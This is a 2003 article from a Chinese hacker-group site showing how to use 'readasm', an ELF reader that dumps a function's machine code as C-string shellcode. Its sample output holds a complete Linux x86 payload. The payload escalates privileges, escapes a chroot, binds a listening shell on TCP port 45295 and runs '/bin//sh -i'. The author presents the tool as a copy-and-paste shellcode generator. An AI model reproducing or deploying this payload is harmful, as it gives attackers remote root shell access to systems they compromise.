快速通道

文档分类
- 红盟公告
- 新手上路
- 漏洞分析
- 工具介绍
- 安全配置
- **编程技术 <=**
- 安全技术
- 业界动态

本类热门
- 初探数据包分析程序设计
- 杀毒软件的简单实现
- readasm的使用范例
- 半开扫描程序
- 注册表操作（RingZ_RgeEdit）
- proftpd 1.2.7/1.2.9rc2 remote root exploit

readasm的使用范例

提交文章： bkbll
提交日期： 2003-11-12
文章属性： 原创
文档类别： 编程技术
浏览次数： 今5次/总6443次

---

readasm可以在这里下载:
http://www.cnhonker.com/index.php?module=releases&act=view&type=3&id=50
使用方法:

```
[netconf@linux1 netconf]$ ./readasm -h
Elf file reader & asm code read
by bkbll,bkbll@cnhonker.net(1.10)
-------------------------------------
Usage:./readasm [-f <file>] [-x <address>] [-h]
Options:
-f: the file want to read(defaut is self)
-x: the function address
-h: this screen
if nothing,it will show self's function table
[netconf@linux1 netconf]$ ./readasm
Elf file reader & asm code read
by bkbll,bkbll@cnhonker.net(1.10)
-------------------------------------
[+] Reading file /proc/self/exe
[+] Program Entry Addr:0x80485bc
[+] Found base address:0x8048000
[@] Read 0x12b bytes from offset 0x3592
[?] finding section .symtab......Got it
[?] finding section .strtab......Got it
[+] Found 104 symbols
[@] Read 0x37f bytes from offset 0x4290
[!] number address length type name
[+] 1: 0x0804866c 0x0136 FUNC asmcode
[+] 2: 0x080487a2 0x00a0 FUNC usage
[+] 3: 0x08048adc 0x0086 FUNC getbaseaddr
[+] 4: 0x08048cd0 0x0142 FUNC find_symbol_byaddr
[+] 5: 0x08048b62 0x016d FUNC list_sym
[+] 6: 0x08048866 0x01ad FUNC showmem
[+] 7: 0x08048f82 0x0485 FUNC main
[+] 8: 0x08048842 0x001e FUNC ptelfhdr
[+] 9: 0x08048e8c 0x00f5 FUNC prt_machine_code
[+] 10: 0x08048a14 0x00c7 FUNC readfile
[+] 11: 0x08048860 0x0005 FUNC ptelfshd
[+] 12: 0x08048e12 0x0079 FUNC find_section_byname
[netconf@linux1 netconf]$ ./readasm -x 0x0804866c
Elf file reader & asm code read
by bkbll,bkbll@cnhonker.net(1.10)
-------------------------------------
```

```
[+] Reading file /proc/self/exe
[+] Program Entry Addr:0x80485bc
[+] Found base address:0x8048000
[@] Read 0x12b bytes from offset 0x3592
[?] finding section .symtab......Got it
[?] finding section .strtab......Got it
[?] finding sym-addr:0x804866c......Got it
[+] Symbol name:asmcode
[+] Symbol offset:0x66c
[+] Symbol leng:0x136
[+] machine code:

"\x90\x31\xc0\x31\xdb\x31\xc9\xb0"
"\x17\xcd\x80\x31\xc0\xb0\x2e\xcd"
"\x80\x31\xc0\x50\xb9\x30\x03\x98"
"\x19\x51\x89\xe3\x31\xc9\x51\xb9"
"\xff\xfe\xff\xff\x51\x51\x89\xe1"
"\xb0\xb9\xcd\x80\x90\x90\x31\xc0"
"\xb0\xb8\xcd\x80\x90\x90\x31\xc0"
"\xb0\x02\xcd\x80\x39\xc3\x7c\x0c"
"\x31\xc0\xb0\x02\xcd\x80\x39\xc3"
"\x7c\x02\xeb\x06\x31\xc0\xb0\x01"
"\xcd\x80\x31\xc0\xb0\x3c\xcd\x80"
"\x31\xc0\x50\x68\x62\x62\x2e\x2e"
"\x89\xe3\x43\x31\xc9\xb1\xff\xfe"
"\xc5\xb0\x27\xcd\x80\x31\xc0\xb0"
"\x3d\xcd\x80\x43\xfe\xcd\xb1\xff"
"\x31\xc0\xb0\x0c\xcd\x80\xe2\xf8"
"\x43\xb0\x3d\xcd\x80\x31\xc9\x31"
"\xdb\x51\x31\xc0\x51\xb1\x01\x51"
"\xb1\x02\x51\x89\xe1\xb3\x01\xb0"
"\x66\xcd\x80\x89\xc1\x31\xc0\x31"
"\xdb\x50\x50\x50\x66\x68\xb0\xef"
"\xb3\x02\x66\x53\x89\xe2\xb3\x10"
"\x53\xb3\x02\x52\x51\x89\xca\x89"
"\xe1\xb0\x66\xcd\x80\x31\xdb\x39"
"\xc3\x74\x05\x31\xc0\x40\xcd\x80"
"\x31\xc0\x50\x52\x89\xe1\xb3\x04"
"\xb0\x66\xcd\x80\x89\xd7\x31\xc0"
"\x31\xdb\x31\xc9\xb3\x11\xb1\x01"
"\xb0\x30\xcd\x80\x31\xc0\x31\xdb"
"\x50\x50\x57\x89\xe1\xb3\x05\xb0"
"\x66\xcd\x80\x89\xc6\x31\xc0\x31"
"\xc9\x89\xf3\xb0\x3f\xcd\x80\x31"
"\xc0\x41\xb0\x3f\xcd\x80\x31\xc0"
"\x41\xb0\x3f\xcd\x80\x31\xc9\x51"
"\x68\x6e\x2f\x73\x68\x68\x2f\x2f"
"\x62\x69\x89\xe3\x51\x68\x2d\x69"
"\x69\x69\x89\xe2\x51\x52\x53\x89"
"\xe1\x31\xd2\x31\xc0\xb0\x0b\xcd"
"\x80"
[netconf@linux1 netconf]$
```

对于写shellcode的朋友们来说是不是很方便? 将汇编代码替换掉__asm__的汇编语句, 然后编译, 运行就可以得到编排好的shellcode, 你只需要复制,粘贴就可以了.

返回上页

Copyright © 2000-2004 **HUC** All Rights Reserved.
中国红客网络技术联盟 www.cnhonker.com
webmaster@cnhonker.net